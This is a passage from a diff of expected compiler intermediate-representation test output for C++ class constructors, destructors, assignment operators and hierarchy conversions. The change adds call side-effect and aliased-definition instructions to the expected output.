r0_3(glval) = VariableAddress[p#0] : -#-----| mu0_4(Derived &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Derived *) = CopyValue : r0_2 -#-----| r0_6(Middle *) = ConvertToBase[Derived : Middle] : r0_5 -# 763| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Derived &) = Load : r0_8, mu0_1 -#-----| r0_10(Middle *) = ConvertToBase[Derived : Middle] : r0_9 -# 763| r0_11(Middle &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Derived *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[derived_s] : r0_12 -# 763| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : -#-----| r0_16(Derived &) = Load : r0_15, mu0_1 -#-----| r0_17(glval) = FieldAddress[derived_s] : r0_16 -# 763| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Derived *) = CopyValue : r0_2 -#-----| mu0_21(Derived &) = Store : r0_19, r0_20 -# 763| r0_22(glval) = VariableAddress[#return] : -# 763| v0_23(void) = ReturnValue : r0_22, mu0_1 -# 763| v0_24(void) = UnmodeledUse : mu* -# 763| v0_25(void) = ExitFunction : +# 763| mu0_1(unknown) = AliasedDefinition : +# 763| mu0_2(unknown) = UnmodeledDefinition : +# 763| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| mu0_5(Derived &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Derived *) = CopyValue : r0_3 +#-----| r0_7(Middle *) = ConvertToBase[Derived : Middle] : r0_6 +# 763| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Derived &) = Load : r0_9, mu0_2 +#-----| r0_11(Middle *) = ConvertToBase[Derived : Middle] : r0_10 +# 763| r0_12(Middle &) = Call : r0_8, this:r0_7, r0_11 +# 763| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(Derived *) = CopyValue : r0_3 +#-----| r0_15(glval) = FieldAddress[derived_s] : r0_14 +# 763| r0_16(glval) = FunctionAddress[operator=] : +#-----| r0_17(glval) = VariableAddress[p#0] : +#-----| r0_18(Derived &) = Load : r0_17, mu0_2 +#-----| r0_19(glval) = FieldAddress[derived_s] : r0_18 +# 763| r0_20(String &) = Call : r0_16, this:r0_15, r0_19 +# 763| mu0_21(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_22(glval) = VariableAddress[#return] : +#-----| r0_23(Derived *) = CopyValue : r0_3 +#-----| mu0_24(Derived &) = Store : r0_22, r0_23 +# 763| r0_25(glval) = VariableAddress[#return] : +# 763| v0_26(void) = ReturnValue : r0_25, mu0_2 +# 763| v0_27(void) = UnmodeledUse : mu* +# 763| v0_28(void) = ExitFunction : # 766| Derived::Derived() -> void # 766| Block 0 # 766| v0_0(void) = EnterFunction : -# 766| mu0_1(unknown) = UnmodeledDefinition : -# 766| r0_2(glval) = InitializeThis : -# 766| r0_3(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 766| r0_4(glval) = FunctionAddress[Middle] : -# 766| v0_5(void) = Call : r0_4, this:r0_3 -# 766| r0_6(glval) = FieldAddress[derived_s] : r0_2 -# 766| r0_7(glval) = FunctionAddress[String] : -# 766| v0_8(void) = Call : r0_7, this:r0_6 -# 767| v0_9(void) = NoOp : -# 766| v0_10(void) = ReturnVoid : -# 766| v0_11(void) = UnmodeledUse : mu* -# 766| v0_12(void) = ExitFunction : +# 766| mu0_1(unknown) = AliasedDefinition : +# 766| mu0_2(unknown) = UnmodeledDefinition : +# 766| r0_3(glval) = InitializeThis : +# 766| r0_4(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 766| r0_5(glval) = FunctionAddress[Middle] : +# 766| v0_6(void) = Call : r0_5, this:r0_4 +# 766| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 766| r0_8(glval) = FieldAddress[derived_s] : r0_3 +# 766| r0_9(glval) = FunctionAddress[String] : +# 766| v0_10(void) = Call : r0_9, this:r0_8 +# 766| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 767| v0_12(void) = NoOp : +# 766| v0_13(void) = ReturnVoid : +# 766| v0_14(void) = UnmodeledUse : mu* +# 766| v0_15(void) = ExitFunction : # 768| Derived::~Derived() -> void # 768| Block 0 -# 768| v0_0(void) = EnterFunction : -# 768| mu0_1(unknown) = UnmodeledDefinition : -# 768| r0_2(glval) = InitializeThis : -# 769| v0_3(void) = NoOp : -# 769| r0_4(glval) = FieldAddress[derived_s] : r0_2 -# 769| r0_5(glval) = FunctionAddress[~String] : -# 769| v0_6(void) = Call : r0_5, this:r0_4 -# 769| r0_7(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 769| r0_8(glval) = FunctionAddress[~Middle] : -# 769| v0_9(void) = Call : r0_8, this:r0_7 -# 768| v0_10(void) = ReturnVoid : -# 768| v0_11(void) = UnmodeledUse : mu* -# 768| v0_12(void) = ExitFunction : +# 768| v0_0(void) = EnterFunction : +# 768| mu0_1(unknown) = AliasedDefinition : +# 768| mu0_2(unknown) = UnmodeledDefinition : +# 768| r0_3(glval) = InitializeThis : +# 769| v0_4(void) = NoOp : +# 769| r0_5(glval) = FieldAddress[derived_s] : r0_3 +# 769| r0_6(glval) = FunctionAddress[~String] : +# 769| v0_7(void) = Call : r0_6, this:r0_5 +# 769| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 769| r0_9(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 769| r0_10(glval) = FunctionAddress[~Middle] : +# 769| v0_11(void) = Call : r0_10, this:r0_9 +# 769| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 768| v0_13(void) = ReturnVoid : +# 768| v0_14(void) = UnmodeledUse : mu* +# 768| v0_15(void) = ExitFunction : # 775| MiddleVB1::MiddleVB1() -> void # 775| Block 0 # 775| v0_0(void) = EnterFunction : -# 775| mu0_1(unknown) = UnmodeledDefinition : -# 775| r0_2(glval) = InitializeThis : -# 775| r0_3(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 775| r0_4(glval) = FunctionAddress[Base] : -# 775| v0_5(void) = Call : r0_4, this:r0_3 -# 775| r0_6(glval) = FieldAddress[middlevb1_s] : r0_2 -# 775| r0_7(glval) = FunctionAddress[String] : -# 775| v0_8(void) = Call : r0_7, this:r0_6 -# 776| v0_9(void) = NoOp : -# 775| v0_10(void) = ReturnVoid : -# 775| v0_11(void) = UnmodeledUse : mu* -# 775| v0_12(void) = ExitFunction : +# 775| mu0_1(unknown) = AliasedDefinition : +# 775| mu0_2(unknown) = UnmodeledDefinition : +# 775| r0_3(glval) = InitializeThis : +# 775| r0_4(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 775| r0_5(glval) = FunctionAddress[Base] : +# 775| v0_6(void) = Call : r0_5, this:r0_4 +# 775| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 775| r0_8(glval) = FieldAddress[middlevb1_s] : r0_3 +# 775| r0_9(glval) = FunctionAddress[String] : +# 775| v0_10(void) = Call : r0_9, this:r0_8 +# 775| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 776| v0_12(void) = NoOp : +# 775| v0_13(void) = ReturnVoid : +# 775| v0_14(void) = UnmodeledUse : mu* +# 775| v0_15(void) = ExitFunction : # 777| MiddleVB1::~MiddleVB1() -> void # 777| Block 0 # 777| v0_0(void) = EnterFunction : -# 777| mu0_1(unknown) = UnmodeledDefinition : -# 777| r0_2(glval) = InitializeThis : -# 778| v0_3(void) = NoOp : -# 778| r0_4(glval) = FieldAddress[middlevb1_s] : r0_2 -# 778| r0_5(glval) = FunctionAddress[~String] : -# 778| v0_6(void) = Call : r0_5, this:r0_4 -# 778| r0_7(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 778| r0_8(glval) = FunctionAddress[~Base] : -# 778| v0_9(void) = Call : r0_8, this:r0_7 -# 777| v0_10(void) = ReturnVoid : -# 777| v0_11(void) = UnmodeledUse : mu* -# 777| v0_12(void) = ExitFunction : +# 777| mu0_1(unknown) = AliasedDefinition : +# 777| mu0_2(unknown) = UnmodeledDefinition : +# 777| r0_3(glval) = InitializeThis : +# 778| v0_4(void) = NoOp : +# 778| r0_5(glval) = FieldAddress[middlevb1_s] : r0_3 +# 778| r0_6(glval) = FunctionAddress[~String] : +# 778| v0_7(void) = Call : r0_6, this:r0_5 +# 778| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 778| r0_9(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 778| r0_10(glval) = FunctionAddress[~Base] : +# 778| v0_11(void) = Call : r0_10, this:r0_9 +# 778| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 777| v0_13(void) = ReturnVoid : +# 777| v0_14(void) = UnmodeledUse : mu* +# 777| v0_15(void) = ExitFunction : # 784| MiddleVB2::MiddleVB2() -> void # 784| Block 0 # 784| v0_0(void) = EnterFunction : -# 784| mu0_1(unknown) = UnmodeledDefinition : -# 784| r0_2(glval) = InitializeThis : -# 784| r0_3(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 784| r0_4(glval) = FunctionAddress[Base] : -# 784| v0_5(void) = Call : r0_4, this:r0_3 -# 784| r0_6(glval) = FieldAddress[middlevb2_s] : r0_2 -# 784| r0_7(glval) = FunctionAddress[String] : -# 784| v0_8(void) = Call : r0_7, this:r0_6 -# 785| v0_9(void) = NoOp : -# 784| v0_10(void) = ReturnVoid : -# 784| v0_11(void) = UnmodeledUse : mu* -# 784| v0_12(void) = ExitFunction : +# 784| mu0_1(unknown) = AliasedDefinition : +# 784| mu0_2(unknown) = UnmodeledDefinition : +# 784| r0_3(glval) = InitializeThis : +# 784| r0_4(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 784| r0_5(glval) = FunctionAddress[Base] : +# 784| v0_6(void) = Call : r0_5, this:r0_4 +# 784| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 784| r0_8(glval) = FieldAddress[middlevb2_s] : r0_3 +# 784| r0_9(glval) = FunctionAddress[String] : +# 784| v0_10(void) = Call : r0_9, this:r0_8 +# 784| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 785| v0_12(void) = NoOp : +# 784| v0_13(void) = ReturnVoid : +# 784| v0_14(void) = UnmodeledUse : mu* +# 784| v0_15(void) = ExitFunction : # 786| MiddleVB2::~MiddleVB2() -> void # 786| Block 0 # 786| v0_0(void) = EnterFunction : -# 786| mu0_1(unknown) = UnmodeledDefinition : -# 786| r0_2(glval) = InitializeThis : -# 787| v0_3(void) = NoOp : -# 787| r0_4(glval) = FieldAddress[middlevb2_s] : r0_2 -# 787| r0_5(glval) = FunctionAddress[~String] : -# 787| v0_6(void) = Call : r0_5, this:r0_4 -# 787| r0_7(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 787| r0_8(glval) = FunctionAddress[~Base] : -# 787| v0_9(void) = Call : r0_8, this:r0_7 -# 786| v0_10(void) = ReturnVoid : -# 786| v0_11(void) = UnmodeledUse : mu* -# 786| v0_12(void) = ExitFunction : +# 786| mu0_1(unknown) = AliasedDefinition : +# 786| mu0_2(unknown) = UnmodeledDefinition : +# 786| r0_3(glval) = InitializeThis : +# 787| v0_4(void) = NoOp : +# 787| r0_5(glval) = FieldAddress[middlevb2_s] : r0_3 +# 787| r0_6(glval) = FunctionAddress[~String] : +# 787| v0_7(void) = Call : r0_6, this:r0_5 +# 787| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 787| r0_9(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 787| r0_10(glval) = FunctionAddress[~Base] : +# 787| v0_11(void) = Call : r0_10, this:r0_9 +# 787| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 786| v0_13(void) = ReturnVoid : +# 786| v0_14(void) = UnmodeledUse : mu* +# 786| v0_15(void) = ExitFunction : # 793| DerivedVB::DerivedVB() -> void # 793| Block 0 -# 793| v0_0(void) = EnterFunction : -# 793| mu0_1(unknown) = UnmodeledDefinition : -# 793| r0_2(glval) = InitializeThis : -# 793| r0_3(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 793| r0_4(glval) = FunctionAddress[Base] : -# 793| v0_5(void) = Call : r0_4, this:r0_3 -# 793| r0_6(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 793| r0_7(glval) = FunctionAddress[MiddleVB1] : -# 793| v0_8(void) = Call : r0_7, this:r0_6 -# 793| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 793| r0_10(glval) = FunctionAddress[MiddleVB2] : -# 793| v0_11(void) = Call : r0_10, this:r0_9 -# 793| r0_12(glval) = FieldAddress[derivedvb_s] : r0_2 -# 793| r0_13(glval) = FunctionAddress[String] : -# 793| v0_14(void) = Call : r0_13, this:r0_12 -# 794| v0_15(void) = NoOp : -# 793| v0_16(void) = ReturnVoid : -# 793| v0_17(void) = UnmodeledUse : mu* -# 793| v0_18(void) = ExitFunction : +# 793| v0_0(void) = EnterFunction : +# 793| mu0_1(unknown) = AliasedDefinition : +# 793| mu0_2(unknown) = UnmodeledDefinition : +# 793| r0_3(glval) = InitializeThis : +# 793| r0_4(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 793| r0_5(glval) = FunctionAddress[Base] : +# 793| v0_6(void) = Call : r0_5, this:r0_4 +# 793| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_8(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 793| r0_9(glval) = FunctionAddress[MiddleVB1] : +# 793| v0_10(void) = Call : r0_9, this:r0_8 +# 793| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_12(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 793| r0_13(glval) = FunctionAddress[MiddleVB2] : +# 793| v0_14(void) = Call : r0_13, this:r0_12 +# 793| mu0_15(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_16(glval) = FieldAddress[derivedvb_s] : r0_3 +# 793| r0_17(glval) = FunctionAddress[String] : +# 793| v0_18(void) = Call : r0_17, this:r0_16 +# 793| mu0_19(unknown) = ^CallSideEffect : mu0_2 +# 794| v0_20(void) = NoOp : +# 793| v0_21(void) = ReturnVoid : +# 793| v0_22(void) = UnmodeledUse : mu* +# 793| v0_23(void) = ExitFunction : # 795| DerivedVB::~DerivedVB() -> void # 795| Block 0 # 795| v0_0(void) = EnterFunction : -# 795| mu0_1(unknown) = UnmodeledDefinition : -# 795| r0_2(glval) = InitializeThis : -# 796| v0_3(void) = NoOp : -# 796| r0_4(glval) = FieldAddress[derivedvb_s] : r0_2 -# 796| r0_5(glval) = FunctionAddress[~String] : -# 796| v0_6(void) = Call : r0_5, this:r0_4 -# 796| r0_7(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 796| r0_8(glval) = FunctionAddress[~MiddleVB2] : -# 796| v0_9(void) = Call : r0_8, this:r0_7 -# 796| r0_10(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 796| r0_11(glval) = FunctionAddress[~MiddleVB1] : -# 796| v0_12(void) = Call : r0_11, this:r0_10 -# 796| r0_13(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 796| r0_14(glval) = FunctionAddress[~Base] : +# 795| mu0_1(unknown) = AliasedDefinition : +# 795| mu0_2(unknown) = UnmodeledDefinition : +# 795| r0_3(glval) = InitializeThis : +# 796| v0_4(void) = NoOp : +# 796| r0_5(glval) = FieldAddress[derivedvb_s] : r0_3 +# 796| r0_6(glval) = FunctionAddress[~String] : +# 796| v0_7(void) = Call : r0_6, this:r0_5 +# 796| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 796| r0_10(glval) = FunctionAddress[~MiddleVB2] : +# 796| v0_11(void) = Call : r0_10, this:r0_9 +# 796| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_13(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 796| r0_14(glval) = FunctionAddress[~MiddleVB1] : # 796| v0_15(void) = Call : r0_14, this:r0_13 -# 795| v0_16(void) = ReturnVoid : -# 795| v0_17(void) = UnmodeledUse : mu* -# 795| v0_18(void) = ExitFunction : +# 796| mu0_16(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_17(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 796| r0_18(glval) = FunctionAddress[~Base] : +# 796| v0_19(void) = Call : r0_18, this:r0_17 +# 796| mu0_20(unknown) = ^CallSideEffect : mu0_2 +# 795| v0_21(void) = ReturnVoid : +# 795| v0_22(void) = UnmodeledUse : mu* +# 795| v0_23(void) = ExitFunction : # 799| HierarchyConversions() -> void # 799| Block 0 # 799| v0_0(void) = EnterFunction : -# 799| mu0_1(unknown) = UnmodeledDefinition : -# 800| r0_2(glval) = VariableAddress[b] : -# 800| r0_3(glval) = FunctionAddress[Base] : -# 800| v0_4(void) = Call : r0_3, this:r0_2 -# 801| r0_5(glval) = VariableAddress[m] : -# 801| r0_6(glval) = FunctionAddress[Middle] : -# 801| v0_7(void) = Call : r0_6, this:r0_5 -# 802| r0_8(glval) = VariableAddress[d] : -# 802| r0_9(glval) = FunctionAddress[Derived] : -# 802| v0_10(void) = Call : r0_9, this:r0_8 -# 804| r0_11(glval) = VariableAddress[pb] : -# 804| r0_12(glval) = VariableAddress[b] : -# 804| mu0_13(Base *) = Store : r0_11, r0_12 -# 805| r0_14(glval) = VariableAddress[pm] : -# 805| r0_15(glval) = VariableAddress[m] : -# 805| mu0_16(Middle *) = Store : r0_14, r0_15 -# 806| r0_17(glval) = VariableAddress[pd] : -# 806| r0_18(glval) = VariableAddress[d] : -# 806| mu0_19(Derived *) = Store : r0_17, r0_18 -# 808| r0_20(glval) = VariableAddress[b] : -# 808| r0_21(glval) = FunctionAddress[operator=] : -# 808| r0_22(glval) = VariableAddress[m] : -# 808| r0_23(glval) = ConvertToBase[Middle : Base] : r0_22 -# 808| r0_24(Base &) = Call : r0_21, this:r0_20, r0_23 -# 809| r0_25(glval) = VariableAddress[b] : -# 809| r0_26(glval) = FunctionAddress[operator=] : -# 809| r0_27(glval) = FunctionAddress[Base] : -# 809| r0_28(glval) = VariableAddress[m] : -# 809| r0_29(glval) = ConvertToBase[Middle : Base] : r0_28 -# 809| v0_30(void) = Call : r0_27, r0_29 -# 809| r0_31(Base) = Convert : v0_30 -# 809| r0_32(Base &) = Call : r0_26, this:r0_25, r0_31 -# 810| r0_33(glval) = VariableAddress[b] : -# 810| r0_34(glval) = FunctionAddress[operator=] : -# 810| r0_35(glval) = FunctionAddress[Base] : -# 810| r0_36(glval) = VariableAddress[m] : -# 810| r0_37(glval) = ConvertToBase[Middle : Base] : r0_36 -# 810| v0_38(void) = Call : r0_35, r0_37 -# 810| r0_39(Base) = Convert : v0_38 -# 810| r0_40(Base &) = Call : r0_34, this:r0_33, r0_39 -# 811| r0_41(glval) = VariableAddress[pm] : -# 811| r0_42(Middle *) = Load : r0_41, mu0_1 -# 811| r0_43(Base *) = ConvertToBase[Middle : Base] : r0_42 -# 811| r0_44(glval) = VariableAddress[pb] : -# 811| mu0_45(Base *) = Store : r0_44, r0_43 -# 812| r0_46(glval) = VariableAddress[pm] : -# 812| r0_47(Middle *) = Load : r0_46, mu0_1 -# 812| r0_48(Base *) = ConvertToBase[Middle : Base] : r0_47 -# 812| r0_49(glval) = VariableAddress[pb] : -# 812| mu0_50(Base *) = Store : r0_49, r0_48 -# 813| r0_51(glval) = VariableAddress[pm] : -# 813| r0_52(Middle *) = Load : r0_51, mu0_1 -# 813| r0_53(Base *) = ConvertToBase[Middle : Base] : r0_52 -# 813| r0_54(glval) = VariableAddress[pb] : -# 813| mu0_55(Base *) = Store : r0_54, r0_53 -# 814| r0_56(glval) = VariableAddress[pm] : -# 814| r0_57(Middle *) = Load : r0_56, mu0_1 -# 814| r0_58(Base *) = Convert : r0_57 -# 814| r0_59(glval) = VariableAddress[pb] : -# 814| mu0_60(Base *) = Store : r0_59, r0_58 -# 816| r0_61(glval) = VariableAddress[m] : -# 816| r0_62(glval) = FunctionAddress[operator=] : -# 816| r0_63(glval) = VariableAddress[b] : -# 816| r0_64(glval) = ConvertToDerived[Middle : Base] : r0_63 -# 816| r0_65(glval) = Convert : r0_64 -# 816| r0_66(Middle &) = Call : r0_62, this:r0_61, r0_65 -# 817| r0_67(glval) = VariableAddress[m] : -# 817| r0_68(glval) = FunctionAddress[operator=] : -# 817| r0_69(glval) = VariableAddress[b] : -# 817| r0_70(glval) = ConvertToDerived[Middle : Base] : r0_69 -# 817| r0_71(glval) = Convert : r0_70 -# 817| r0_72(Middle &) = Call : r0_68, this:r0_67, r0_71 -# 818| r0_73(glval) = VariableAddress[pb] : -# 818| r0_74(Base *) = Load : r0_73, mu0_1 -# 818| r0_75(Middle *) = ConvertToDerived[Middle : Base] : r0_74 -# 818| r0_76(glval) = VariableAddress[pm] : -# 818| mu0_77(Middle *) = Store : r0_76, r0_75 -# 819| r0_78(glval) = VariableAddress[pb] : -# 819| r0_79(Base *) = Load : r0_78, mu0_1 -# 819| r0_80(Middle *) = ConvertToDerived[Middle : Base] : r0_79 -# 819| r0_81(glval) = VariableAddress[pm] : -# 819| mu0_82(Middle *) = Store : r0_81, r0_80 -# 820| r0_83(glval) = VariableAddress[pb] : -# 820| r0_84(Base *) = Load : r0_83, mu0_1 -# 820| r0_85(Middle *) = Convert : r0_84 -# 820| r0_86(glval) = VariableAddress[pm] : -# 820| mu0_87(Middle *) = Store : r0_86, r0_85 -# 822| r0_88(glval) = VariableAddress[b] : -# 822| r0_89(glval) = FunctionAddress[operator=] : -# 822| r0_90(glval) = VariableAddress[d] : -# 822| r0_91(glval) = ConvertToBase[Derived : Middle] : r0_90 -# 822| r0_92(glval) = ConvertToBase[Middle : Base] : r0_91 -# 822| r0_93(Base &) = Call : r0_89, this:r0_88, r0_92 -# 823| r0_94(glval) = VariableAddress[b] : -# 823| r0_95(glval) = FunctionAddress[operator=] : -# 823| r0_96(glval) = FunctionAddress[Base] : -# 823| r0_97(glval) = VariableAddress[d] : -# 823| r0_98(glval) = ConvertToBase[Derived : Middle] : r0_97 -# 823| r0_99(glval) = ConvertToBase[Middle : Base] : r0_98 -# 823| v0_100(void) = Call : r0_96, r0_99 -# 823| r0_101(Base) = Convert : v0_100 -# 823| r0_102(Base &) = Call : r0_95, this:r0_94, r0_101 -# 824| r0_103(glval) = VariableAddress[b] : -# 824| r0_104(glval) = FunctionAddress[operator=] : -# 824| r0_105(glval) = FunctionAddress[Base] : -# 824| r0_106(glval) = VariableAddress[d] : -# 824| r0_107(glval) = ConvertToBase[Derived : Middle] : r0_106 -# 824| r0_108(glval) = ConvertToBase[Middle : Base] : r0_107 -# 824| v0_109(void) = Call : r0_105, r0_108 -# 824| r0_110(Base) = Convert : v0_109 -# 824| r0_111(Base &) = Call : r0_104, this:r0_103, r0_110 -# 825| r0_112(glval) = VariableAddress[pd] : -# 825| r0_113(Derived *) = Load : r0_112, mu0_1 -# 825| r0_114(Middle *) = ConvertToBase[Derived : Middle] : r0_113 -# 825| r0_115(Base *) = ConvertToBase[Middle : Base] : r0_114 -# 825| r0_116(glval) = VariableAddress[pb] : -# 825| mu0_117(Base *) = Store : r0_116, r0_115 -# 826| r0_118(glval) = VariableAddress[pd] : -# 826| r0_119(Derived *) = Load : r0_118, mu0_1 -# 826| r0_120(Middle *) = ConvertToBase[Derived : Middle] : r0_119 -# 826| r0_121(Base *) = ConvertToBase[Middle : Base] : r0_120 -# 826| r0_122(glval) = VariableAddress[pb] : -# 826| mu0_123(Base *) = Store : r0_122, r0_121 -# 827| r0_124(glval) = VariableAddress[pd] : -# 827| r0_125(Derived *) = Load : r0_124, mu0_1 -# 827| r0_126(Middle *) = ConvertToBase[Derived : Middle] : r0_125 -# 827| r0_127(Base *) = ConvertToBase[Middle : Base] : r0_126 -# 827| r0_128(glval) = VariableAddress[pb] : -# 827| mu0_129(Base *) = Store : r0_128, r0_127 -# 828| r0_130(glval) = VariableAddress[pd] : -# 828| r0_131(Derived *) = Load : r0_130, mu0_1 -# 828| r0_132(Base *) = Convert : r0_131 -# 828| r0_133(glval) = VariableAddress[pb] : -# 828| mu0_134(Base *) = Store : r0_133, r0_132 -# 830| r0_135(glval) = VariableAddress[d] : -# 830| r0_136(glval) = FunctionAddress[operator=] : -# 830| r0_137(glval) = VariableAddress[b] : -# 830| r0_138(glval) = ConvertToDerived[Middle : Base] : r0_137 -# 830| r0_139(glval) = ConvertToDerived[Derived : Middle] : r0_138 -# 830| r0_140(glval) = Convert : r0_139 -# 830| r0_141(Derived &) = Call : r0_136, this:r0_135, r0_140 -# 831| r0_142(glval) = VariableAddress[d] : -# 831| r0_143(glval) = FunctionAddress[operator=] : -# 831| r0_144(glval) = VariableAddress[b] : -# 831| r0_145(glval) = ConvertToDerived[Middle : Base] : r0_144 -# 831| r0_146(glval) = ConvertToDerived[Derived : Middle] : r0_145 -# 831| r0_147(glval) = Convert : r0_146 -# 831| r0_148(Derived &) = Call : r0_143, this:r0_142, r0_147 -# 832| r0_149(glval) = VariableAddress[pb] : -# 832| r0_150(Base *) = Load : r0_149, mu0_1 -# 832| r0_151(Middle *) = ConvertToDerived[Middle : Base] : r0_150 -# 832| r0_152(Derived *) = ConvertToDerived[Derived : Middle] : r0_151 -# 832| r0_153(glval) = VariableAddress[pd] : -# 832| mu0_154(Derived *) = Store : r0_153, r0_152 -# 833| r0_155(glval) = VariableAddress[pb] : -# 833| r0_156(Base *) = Load : r0_155, mu0_1 -# 833| r0_157(Middle *) = ConvertToDerived[Middle : Base] : r0_156 -# 833| r0_158(Derived *) = ConvertToDerived[Derived : Middle] : r0_157 -# 833| r0_159(glval) = VariableAddress[pd] : -# 833| mu0_160(Derived *) = Store : r0_159, r0_158 -# 834| r0_161(glval) = VariableAddress[pb] : -# 834| r0_162(Base *) = Load : r0_161, mu0_1 -# 834| r0_163(Derived *) = Convert : r0_162 -# 834| r0_164(glval) = VariableAddress[pd] : -# 834| mu0_165(Derived *) = Store : r0_164, r0_163 -# 836| r0_166(glval) = VariableAddress[pmv] : -# 836| r0_167(MiddleVB1 *) = Constant[0] : -# 836| mu0_168(MiddleVB1 *) = Store : r0_166, r0_167 -# 837| r0_169(glval) = VariableAddress[pdv] : -# 837| r0_170(DerivedVB *) = Constant[0] : -# 837| mu0_171(DerivedVB *) = Store : r0_169, r0_170 -# 838| r0_172(glval) = VariableAddress[pmv] : -# 838| r0_173(MiddleVB1 *) = Load : r0_172, mu0_1 -# 838| r0_174(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_173 -# 838| r0_175(glval) = VariableAddress[pb] : -# 838| mu0_176(Base *) = Store : r0_175, r0_174 -# 839| r0_177(glval) = VariableAddress[pdv] : -# 839| r0_178(DerivedVB *) = Load : r0_177, mu0_1 -# 839| r0_179(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_178 -# 839| r0_180(glval) = VariableAddress[pb] : -# 839| mu0_181(Base *) = Store : r0_180, r0_179 -# 840| v0_182(void) = NoOp : -# 799| v0_183(void) = ReturnVoid : -# 799| v0_184(void) = UnmodeledUse : mu* -# 799| v0_185(void) = ExitFunction : +# 799| mu0_1(unknown) = AliasedDefinition : +# 799| mu0_2(unknown) = UnmodeledDefinition : +# 800| r0_3(glval) = VariableAddress[b] : +# 800| r0_4(glval) = FunctionAddress[Base] : +# 800| v0_5(void) = Call : r0_4, this:r0_3 +# 800| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 801| r0_7(glval) = VariableAddress[m] : +# 801| r0_8(glval) = FunctionAddress[Middle] : +# 801| v0_9(void) = Call : r0_8, this:r0_7 +# 801| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 802| r0_11(glval) = VariableAddress[d] : +# 802| r0_12(glval) = FunctionAddress[Derived] : +# 802| v0_13(void) = Call : r0_12, this:r0_11 +# 802| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 804| r0_15(glval) = VariableAddress[pb] : +# 804| r0_16(glval) = VariableAddress[b] : +# 804| mu0_17(Base *) = Store : r0_15, r0_16 +# 805| r0_18(glval) = VariableAddress[pm] : +# 805| r0_19(glval) = VariableAddress[m] : +# 805| mu0_20(Middle *) = Store : r0_18, r0_19 +# 806| r0_21(glval) = VariableAddress[pd] : +# 806| r0_22(glval) = VariableAddress[d] : +# 806| mu0_23(Derived *) = Store : r0_21, r0_22 +# 808| r0_24(glval) = VariableAddress[b] : +# 808| r0_25(glval) = FunctionAddress[operator=] : +# 808| r0_26(glval) = VariableAddress[m] : +# 808| r0_27(glval) = ConvertToBase[Middle : Base] : r0_26 +# 808| r0_28(Base &) = Call : r0_25, this:r0_24, r0_27 +# 808| mu0_29(unknown) = ^CallSideEffect : mu0_2 +# 809| r0_30(glval) = VariableAddress[b] : +# 809| r0_31(glval) = FunctionAddress[operator=] : +# 809| r0_32(glval) = FunctionAddress[Base] : +# 809| r0_33(glval) = VariableAddress[m] : +# 809| r0_34(glval) = ConvertToBase[Middle : Base] : r0_33 +# 809| v0_35(void) = Call : r0_32, r0_34 +# 809| mu0_36(unknown) = ^CallSideEffect : mu0_2 +# 809| r0_37(Base) = Convert : v0_35 +# 809| r0_38(Base &) = Call : r0_31, this:r0_30, r0_37 +# 809| mu0_39(unknown) = ^CallSideEffect : mu0_2 +# 810| r0_40(glval) = VariableAddress[b] : +# 810| 